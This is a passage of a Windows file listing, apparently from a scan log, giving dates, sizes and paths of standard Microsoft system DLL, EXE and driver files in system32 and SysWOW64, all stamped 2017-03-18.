2017-03-18 22:57 - 2017-03-18 22:57 - 00524288 _____ (Microsoft Corporation) C:\windows\system32\w32time.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00523168 _____ (Microsoft Corporation) C:\windows\system32\pcasvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00522752 _____ (Microsoft Corporation) C:\windows\system32\PlayToManager.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00522240 _____ (Microsoft Corporation) C:\windows\system32\sqlcese40.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00520192 _____ (Microsoft Corporation) C:\windows\system32\ChxAPDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00519584 _____ (Microsoft Corporation) C:\windows\system32\Drivers\netio.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00519168 _____ (Microsoft Corporation) C:\windows\system32\netprofmsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00519072 _____ (Microsoft Corporation) C:\windows\system32\dpx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00516608 _____ (Microsoft Corporation) C:\windows\system32\TextInputFramework.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00515072 _____ (Microsoft Corporation) C:\windows\system32\cmdial32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00514976 _____ (Microsoft Corporation) C:\windows\system32\wimserv.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00512512 _____ (Microsoft Corporation) C:\windows\system32\mprapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00510976 _____ (Microsoft Corporation) C:\windows\system32\uReFSv1.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00507392 _____ (Microsoft Corporation) C:\windows\system32\NgcCtnrGidsHandler.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00507392 _____ (Microsoft Corporation) C:\windows\system32\newdev.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00505856 _____ (Microsoft Corporation) C:\windows\system32\localsec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00502272 _____ (Microsoft Corporation) C:\windows\system32\taskcomp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00499712 _____ (Microsoft Corporation) C:\windows\system32\nltest.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00498688 _____ (Microsoft Corporation) C:\windows\system32\RMActivate_ssp_isv.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00498584 _____ (Microsoft Corporation) C:\windows\system32\spwizeng.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00497664 _____ (Microsoft Corporation) C:\windows\system32\RMActivate_ssp.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00497152 _____ (Microsoft Corporation) C:\windows\system32\apphelp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00493568 _____ (Microsoft Corporation) C:\windows\system32\imapi2.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00493056 _____ (Microsoft Corporation) C:\windows\system32\ChxHAPDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00491008 _____ (Microsoft Corporation) C:\windows\system32\sppcext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00490496 _____ (Microsoft Corporation) C:\windows\system32\mprdim.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00489984 _____ (Microsoft Corporation) C:\windows\system32\DDDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00486584 _____ (Microsoft Corporation) C:\windows\system32\systemreset.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00485888 _____ (Microsoft Corporation) C:\windows\system32\certreq.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00482304 _____ (Microsoft Corporation) C:\windows\system32\wbemcomn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00481792 _____ (Microsoft Corporation) C:\windows\system32\mpunits.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00480768 _____ (Microsoft Corporation) C:\windows\system32\catsrvut.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00477696 _____ (Microsoft Corporation) C:\windows\system32\rasplap.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00467352 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mrxsmb.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00466432 _____ (Microsoft Corporation) C:\windows\system32\dmdlgs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00464896 _____ (Microsoft Corporation) C:\windows\system32\DXP.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00460800 _____ (Microsoft Corporation) C:\windows\system32\swprv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00460288 _____ (Microsoft Corporation) C:\windows\system32\wwanconn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00459776 _____ (Microsoft Corporation) C:\windows\system32\sysmon.ocx
2017-03-18 22:57 - 2017-03-18 22:57 - 00458240 _____ (Microsoft Corporation) C:\windows\system32\IPSECSVC.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00455680 _____ (Microsoft Corporation) C:\windows\system32\certcli.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00455616 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSAudDecMFT.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00455584 _____ (Microsoft Corporation) C:\windows\system32\hal.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00455168 _____ (Microsoft Corporation) C:\windows\system32\das.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00452096 _____ (Microsoft Corporation) C:\windows\system32\es.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00451584 _____ (Microsoft Corporation) C:\windows\system32\catsrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00447488 _____ (Microsoft Corporation) C:\windows\system32\win32k.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00446976 _____ (Microsoft Corporation) C:\windows\system32\ChtCangjieDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00446124 _____ C:\windows\system32\ApnDatabase.xml
2017-03-18 22:57 - 2017-03-18 22:57 - 00445952 _____ (Microsoft Corporation) C:\windows\system32\iassdo.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00445440 _____ (Microsoft Corporation) C:\windows\system32\slui.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00444928 _____ (Microsoft Corporation) C:\windows\system32\xwizards.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00442880 _____ (Microsoft Corporation) C:\windows\system32\ChtBopomofoDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00441344 _____ (Microsoft Corporation) C:\windows\system32\ChsStrokeDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00440320 _____ (Microsoft Corporation) C:\windows\system32\fhsettingsprovider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00440320 _____ (Microsoft Corporation) C:\windows\system32\ChtHkStrokeDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00438784 _____ (Microsoft Corporation) C:\windows\system32\certCredProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00438272 _____ (Microsoft Corporation) C:\windows\system32\RTMediaFrame.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00435712 _____ (Microsoft Corporation) C:\windows\system32\ChtQuickDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00435200 _____ (Microsoft Corporation) C:\windows\system32\azroleui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00434080 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rdbss.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00433664 _____ (Microsoft Corporation) C:\windows\system32\fhcfg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00433480 _____ (Microsoft Corporation) C:\windows\system32\ws2_32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00431616 _____ (Microsoft Corporation) C:\windows\system32\EncDec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00430848 _____ (Microsoft Corporation) C:\windows\system32\bcryptprimitives.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00430080 _____ (Microsoft Corporation) C:\windows\system32\PlayToDevice.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00427008 _____ (Microsoft Corporation) C:\windows\system32\netcorehc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00424960 _____ (Microsoft Corporation) C:\windows\system32\Winlangdb.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00424352 _____ (Microsoft Corporation) C:\windows\system32\wmicmiplugin.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00423424 _____ (Microsoft Corporation) C:\windows\system32\irprops.cpl
2017-03-18 22:57 - 2017-03-18 22:57 - 00421536 _____ (Microsoft Corporation) C:\windows\system32\BCP47Langs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00420864 _____ (Microsoft Corporation) C:\windows\system32\facecredentialprovider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00419744 _____ (Microsoft Corporation) C:\windows\system32\Drivers\FWPKCLNT.SYS
2017-03-18 22:57 - 2017-03-18 22:57 - 00418816 _____ (Microsoft Corporation) C:\windows\system32\FWPUCLNT.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00415744 _____ (Microsoft Corporation) C:\windows\system32\PhotoMetadataHandler.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00414208 _____ (Microsoft Corporation) C:\windows\system32\sppcomapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00414208 _____ (Microsoft Corporation) C:\windows\system32\nshipsec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00411648 _____ (Microsoft Corporation) C:\windows\system32\SyncInfrastructure.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00411648 _____ (Microsoft Corporation) C:\windows\system32\SDDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00410168 _____ (Microsoft Corporation) C:\windows\system32\Faultrep.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00406528 _____ (Microsoft Corporation) C:\windows\system32\wuuhext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00406016 _____ (Microsoft Corporation) C:\windows\system32\cryptngc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00405504 _____ (Microsoft Corporation) C:\windows\system32\wlanui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00403968 _____ (Microsoft Corporation) C:\windows\system32\shrpubw.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00401312 _____ (Microsoft Corporation) C:\windows\system32\WinSetupUI.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00400384 _____ (Microsoft Corporation) C:\windows\system32\mtxclu.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00399872 _____ (Microsoft Corporation) C:\windows\system32\ncsi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00397216 _____ (Microsoft Corporation) C:\windows\system32\Drivers\volsnap.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00396232 _____ (Microsoft Corporation) C:\windows\system32\d3d10level9.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00395264 _____ (Microsoft Corporation) C:\windows\system32\secproc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00393216 _____ (Microsoft Corporation) C:\windows\system32\secproc_isv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00391584 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Classpnp.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00391168 _____ (Microsoft Corporation) C:\windows\system32\WMPhoto.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00391144 _____ (Microsoft Corporation) C:\windows\system32\AUDIOKSE.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00389120 _____ (Microsoft Corporation) C:\windows\system32\hnetcfg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00388608 _____ (Microsoft Corporation) C:\windows\system32\msihnd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00386464 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fltMgr.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00383360 _____ (Microsoft Corporation) C:\windows\system32\wevtapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00382464 _____ (Microsoft Corporation) C:\windows\system32\hdwwiz.cpl
2017-03-18 22:57 - 2017-03-18 22:57 - 00382368 _____ (Microsoft Corporation) C:\windows\system32\Drivers\clfs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00381440 _____ (Microsoft Corporation) C:\windows\system32\qdvd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00381440 _____ (Microsoft Corporation) C:\windows\system32\cryptuiwizard.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00379904 _____ (Microsoft Corporation) C:\windows\system32\LocationApi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00378368 _____ (Microsoft Corporation) C:\windows\system32\pcsvDevice.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00377584 _____ (Microsoft Corporation) C:\windows\system32\verifier.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00377344 _____ C:\windows\system32\ssdm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00375808 _____ (Microsoft Corporation) C:\windows\system32\cloudAP.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00375056 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.MediaControl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00373664 _____ (Microsoft Corporation) C:\windows\system32\Drivers\volmgrx.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00373248 _____ (Microsoft Corporation) C:\windows\system32\WinSATAPI.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00370688 _____ (Microsoft Corporation) C:\windows\system32\rastlsext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00369664 _____ (Microsoft Corporation) C:\windows\system32\msinfo32.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00369376 _____ (Microsoft Corporation) C:\windows\system32\BioIso.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00369152 _____ (Microsoft Corporation) C:\windows\system32\BcastDVRBroker.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00368128 _____ (Microsoft Corporation) C:\windows\system32\msdtckrm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00368128 _____ (Microsoft Corporation) C:\windows\system32\difxapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00367000 _____ (Microsoft Corporation) C:\windows\system32\Drivers\msrpc.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00365568 _____ (Microsoft Corporation) C:\windows\system32\nlasvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00365568 _____ (Microsoft Corporation) C:\windows\system32\dhcpcore.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00364160 _____ (Microsoft Corporation) C:\windows\system32\MrmDeploy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00364032 _____ (Microsoft Corporation) C:\windows\system32\CryptoWinRT.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00360960 _____ (Microsoft Corporation) C:\windows\system32\ninput.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00360448 _____ (Microsoft Corporation) C:\windows\system32\jpndecoder.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00359936 _____ (Microsoft Corporation) C:\windows\system32\ChxDecoder.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00359064 _____ (Microsoft Corporation) C:\windows\system32\sechost.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00358600 _____ (Microsoft Corporation) C:\windows\system32\mswsock.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00357888 _____ (Microsoft Corporation) C:\windows\system32\Narrator.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00355840 _____ (Microsoft Corporation) C:\windows\system32\HrtfApo.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00351744 _____ (Microsoft Corporation) C:\windows\system32\rasmontr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00350744 _____ (Microsoft Corporation) C:\windows\SysWOW64\MP4SDECD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00347648 _____ (Microsoft Corporation) C:\windows\system32\mcbuilder.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00347136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\exfat.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00346624 _____ (Microsoft Corporation) C:\windows\system32\vaultsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00345600 _____ (Microsoft Corporation) C:\windows\system32\chxinputrouter.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00342432 _____ (Microsoft Corporation) C:\windows\system32\NetworkBindingEngineMigPlugin.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00341504 _____ (Microsoft Corporation) C:\windows\system32\mmcbase.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00336384 _____ (Microsoft Corporation) C:\windows\system32\polstore.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00335360 _____ (Microsoft Corporation) C:\windows\system32\diskraid.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00334336 _____ (Microsoft Corporation) C:\windows\system32\adsnt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00333216 _____ (Microsoft Corporation) C:\windows\system32\invagent.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00329632 _____ (Microsoft Corporation) C:\windows\system32\kd_02_10ec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00327680 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSFlacDecoder.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00326656 _____ (Microsoft Corporation) C:\windows\system32\pwlauncher.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00326144 _____ (Microsoft Corporation) C:\windows\system32\CertEnrollUI.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00325632 _____ (Microsoft Corporation) C:\windows\system32\BingASDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00324096 _____ (Microsoft Corporation) C:\windows\system32\Drivers\udfs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00322368 _____ (Microsoft Corporation) C:\windows\system32\HdcpHandler.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00321024 _____ (Microsoft Corporation) C:\windows\regedit.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00320000 _____ (Microsoft Corporation) C:\windows\system32\DaOtpCredentialProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00316416 _____ (Microsoft Corporation) C:\windows\system32\ConhostV1.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00316248 _____ (Microsoft Corporation) C:\windows\system32\wow64.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00315296 _____ (Microsoft Corporation) C:\windows\system32\WerFault.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00313856 _____ (Microsoft Corporation) C:\windows\system32\eappcfgui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00312832 _____ (Microsoft Corporation) C:\windows\system32\dot3ui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00310784 _____ (Microsoft Corporation) C:\windows\system32\sppcommdlg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00310784 _____ (Microsoft Corporation) C:\windows\system32\MtfDecoder.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00309248 _____ (Microsoft Corporation) C:\windows\system32\SpatializerApo.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00309248 _____ (Microsoft Corporation) C:\windows\system32\provthrd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00307712 _____ (Microsoft Corporation) C:\windows\system32\wusa.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00305664 _____ (Microsoft Corporation) C:\windows\system32\BcastDVRClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00305152 _____ (Microsoft Corporation) C:\windows\system32\Drivers\netbt.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00305152 _____ (Microsoft Corporation) C:\windows\system32\AuthFWGP.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00304776 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMVSDECD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00304128 _____ (Microsoft Corporation) C:\windows\system32\wcl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00302768 _____ (Microsoft Corporation) C:\windows\system32\powrprof.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00302592 _____ (Microsoft Corporation) C:\windows\system32\TieringEngineService.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00302592 _____ (Microsoft Corporation) C:\windows\system32\PowerWmiProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00301568 _____ (Microsoft Corporation) C:\windows\system32\msdtcuiu.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00300544 _____ (Microsoft Corporation) C:\windows\system32\ndfapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00298496 _____ (Microsoft Corporation) C:\windows\system32\netdiagfx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00297472 _____ (Microsoft Corporation) C:\windows\system32\mintdh.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00296352 _____ (Microsoft Corporation) C:\windows\system32\Dism.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00295936 _____ (Microsoft Corporation) C:\windows\system32\framedynos.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00295936 _____ (Microsoft Corporation) C:\windows\system32\EaseOfAccessDialog.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00294912 _____ (Microsoft Corporation) C:\windows\system32\fhcat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00293376 _____ (Microsoft Corporation) C:\windows\system32\unimdm.tsp
2017-03-18 22:57 - 2017-03-18 22:57 - 00292352 _____ (Microsoft Corporation) C:\windows\system32\SystemEventsBrokerServer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00291840 _____ (Microsoft Corporation) C:\windows\system32\mfksproxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00290816 _____ (Microsoft Corporation) C:\windows\system32\Dxpserver.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00289792 _____ (Microsoft Corporation) C:\windows\system32\container.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00288768 _____ (Microsoft Corporation) C:\windows\system32\GameBarPresenceWriter.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00287744 _____ (Microsoft Corporation) C:\windows\system32\winsku.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00285696 _____ (Microsoft Corporation) C:\windows\SysWOW64\WmpDui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00284672 _____ (Microsoft Corporation) C:\windows\system32\FSClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00282624 _____ (Microsoft Corporation) C:\windows\system32\dnsrslvr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00282624 _____ (Microsoft Corporation) C:\windows\system32\comsnap.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00282528 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rdyboost.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00282112 _____ (Microsoft Corporation) C:\windows\system32\MTFServer.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00281600 _____ (Microsoft Corporation) C:\windows\system32\dafBth.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00280576 _____ (Microsoft Corporation) C:\windows\system32\jpnranker.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00280064 _____ (Microsoft Corporation) C:\windows\system32\raschapext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00278016 _____ (Microsoft Corporation) C:\windows\system32\qwave.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00278016 _____ (Microsoft Corporation) C:\windows\system32\dhcpcore6.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00274944 _____ (Microsoft Corporation) C:\windows\system32\WindowsCodecsExt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00273920 _____ (Microsoft Corporation) C:\windows\system32\sethc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00273920 _____ (Microsoft Corporation) C:\windows\system32\dot3gpui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00273408 _____ (Microsoft Corporation) C:\windows\system32\ksproxy.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00271872 _____ (Microsoft Corporation) C:\windows\system32\cmd.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00270848 _____ (Microsoft Corporation) C:\windows\system32\scecli.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00268800 _____ (Microsoft Corporation) C:\windows\system32\wisp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00268800 _____ (Microsoft Corporation) C:\windows\system32\lltdsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00267776 _____ (Microsoft Corporation) C:\windows\system32\UIAnimation.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00267080 _____ (Microsoft Corporation) C:\windows\SysWOW64\MPG4DECD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00266752 _____ (Microsoft Corporation) C:\windows\system32\dmdskmgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00266568 _____ (Microsoft Corporation) C:\windows\SysWOW64\MP43DECD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00264192 _____ (Microsoft Corporation) C:\windows\system32\mycomput.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00263456 _____ (Microsoft Corporation) C:\windows\system32\ProximityUxHost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00262144 _____ (Microsoft Corporation) C:\windows\system32\activeds.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00261632 _____ (Microsoft Corporation) C:\windows\system32\NetSetupSvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00260096 _____ (Microsoft Corporation) C:\windows\system32\InkEd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00259840 _____ (Microsoft Corporation) C:\windows\system32\MSWB7.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00255488 _____ (Microsoft Corporation) C:\windows\system32\Drivers\srvnet.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00254976 _____ (Microsoft Corporation) C:\windows\system32\xwtpdui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00254976 _____ (Microsoft Corporation) C:\windows\system32\vaultcli.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00254464 _____ (Microsoft Corporation) C:\windows\system32\ubpm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00253440 _____ (Microsoft Corporation) C:\windows\system32\netman.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00252416 _____ (Microsoft Corporation) C:\windows\system32\WUDFHost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00252416 _____ (Microsoft Corporation) C:\windows\system32\UserMgrProxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00252416 _____ (Microsoft Corporation) C:\windows\system32\dot3svc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00251904 _____ (Microsoft Corporation) C:\windows\system32\wlidcredprov.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00251904 _____ (Microsoft Corporation) C:\windows\system32\mpg2splt.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00251904 _____ (Microsoft Corporation) C:\windows\system32\apds.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00251392 _____ (Microsoft Corporation) C:\windows\system32\MSNP.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00250880 _____ (Microsoft Corporation) C:\windows\system32\MTF.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00250368 _____ (Microsoft Corporation) C:\windows\system32\SCardSvr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00250368 _____ (Microsoft Corporation) C:\windows\system32\BrokerLib.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00249856 _____ (Microsoft Corporation) C:\windows\system32\discan.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00249344 _____ (Microsoft Corporation) C:\windows\system32\iassam.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00248736 _____ (Microsoft Corporation) C:\windows\system32\kd_02_8086.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00247808 _____ (Microsoft Corporation) C:\windows\system32\scksp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00247808 _____ (Microsoft Corporation) C:\windows\system32\FileHistory.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00247296 _____ (Microsoft Corporation) C:\windows\system32\framedyn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00247296 _____ (Microsoft Corporation) C:\windows\system32\adsldpc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00246272 _____ (Microsoft Corporation) C:\windows\system32\qdv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00246272 _____ (Microsoft Corporation) C:\windows\system32\mstask.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00245760 _____ (Microsoft Corporation) C:\windows\system32\adsldp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00245248 _____ (Microsoft Corporation) C:\windows\system32\icm32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00244920 _____ (Microsoft Corporation) C:\windows\system32\SndVol.exe
